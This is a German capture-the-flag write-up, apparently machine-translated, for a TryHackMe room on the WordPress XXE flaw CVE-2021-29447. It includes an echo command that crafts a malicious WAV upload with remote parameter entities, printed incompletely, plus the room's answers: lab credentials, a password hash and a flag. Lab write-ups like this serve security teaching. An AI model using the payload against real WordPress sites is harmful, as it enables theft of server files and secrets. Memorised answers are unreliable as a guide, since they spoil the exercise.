Wir haben eine WordPress-XXE-Sicherheitslücke CVE-2021-29447 abgedeckt, die die Offenlegung vertraulicher Dateien und Server-Side Request Forgery (SSRF) ermöglicht. Wir haben diese WordPress-Sicherheitslücke ausgenutzt, indem wir eine WAV-Nutzlast generiert und auf die kompromittierte WordPress-Website hochgeladen haben. Dies war Teil von TryHackMe WordPress: CVE-2021-29447 Zimmer.
Vollständiger Splunk SIEM-Kurs mit praktischen Szenarien
Höhepunkte
Was ist die XXE-Sicherheitslücke
Ein XML External Entity (XXE)-Angriff ist eine Sicherheitslücke, die Funktionen von XML-Parsern/-Daten missbraucht. Angreifer können dadurch häufig mit Backend- oder externen Systemen interagieren, auf die die Anwendung selbst zugreifen kann, und die Datei auf diesem System lesen. Angreifer können auch Denial-of-Service-Angriffe (DoS) auslösen oder XXE verwenden, um Server-Side Request Forgery (SSRF) auszuführen, wodurch die Webanwendung dazu veranlasst wird, Anfragen an andere Anwendungen zu stellen. XXE kann sogar Port-Scans ermöglichen und zur Remote-Codeausführung führen.
Auswirkungen von WordPress CVE-2021-29447
- Willkürliche Dateioffenlegung: Der Inhalt jeder Datei im Dateisystem des Hosts kann abgerufen werden, z. B. wp-config.php die vertrauliche Daten wie Datenbankanmeldeinformationen enthält.
- Serverseitige Anforderungsfälschung (SSRF): Es könnten HTTP-Anfragen im Namen der WordPress-Installation gestellt werden. Je nach Umgebung kann dies schwerwiegende Auswirkungen haben.
Erstellen der Nutzlast
Sie können eine WAV-Nutzlast mit den unten gezeigten Befehlen erstellen
nano poc.wav
# erstellt eine WAV-Datei
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00 <!DOCTYPE ANY[ %remote;%init;%trick;]>\x00' > Nutzlast.wav
# füge die Nutzlast mit Echo ein, ändere die IP und den Port so, dass sie mit deinen übereinstimmen
Verweise
- WordPress 5.7 – „Medienbibliothek“ XML External Entity Injection (XXE) (authentifiziert): Exploit-DB
- WordPress 5.6-5.7 – Authentifiziert (Author+) XXE (CVE-2021-29447): Github
- WordPress 5.6-5.7 – Authentifizierter XXE in der Medienbibliothek mit Auswirkungen auf PHP 8: wpscan
Raumantworten
Wie lautet basierend auf den Ergebnissen von #1 der Name der Datenbank für WordPress?
wordpressdb2
Welche Anmeldeinformationen haben Sie basierend auf den Ergebnissen von #1 gefunden?
Beispiel: Benutzer:Passwort
thedarktangent:sUp3rS3cret132
Auflisten und identifizieren Sie das auf dem Server installierte DBMS.
MySQL
Basierend auf den Ergebnissen von #4: Welche DBMS-Version ist auf dem Server installiert?
5.7.33
Basierend auf den Ergebnissen von #4: Auf welchem Port läuft das DBMS?
3306
Kompromitieren Sie das DBMS. Was ist das verschlüsselte Passwort in der WordPress-Benutzertabelle mit der ID 1??
$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
Basierend auf den Ergebnissen von #7: Wie lautet das Passwort im Klartext?
Teddybär
Kompromitieren Sie den Computer und lokalisieren Sie flag.txt
thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c72}
Video-Komplettlösung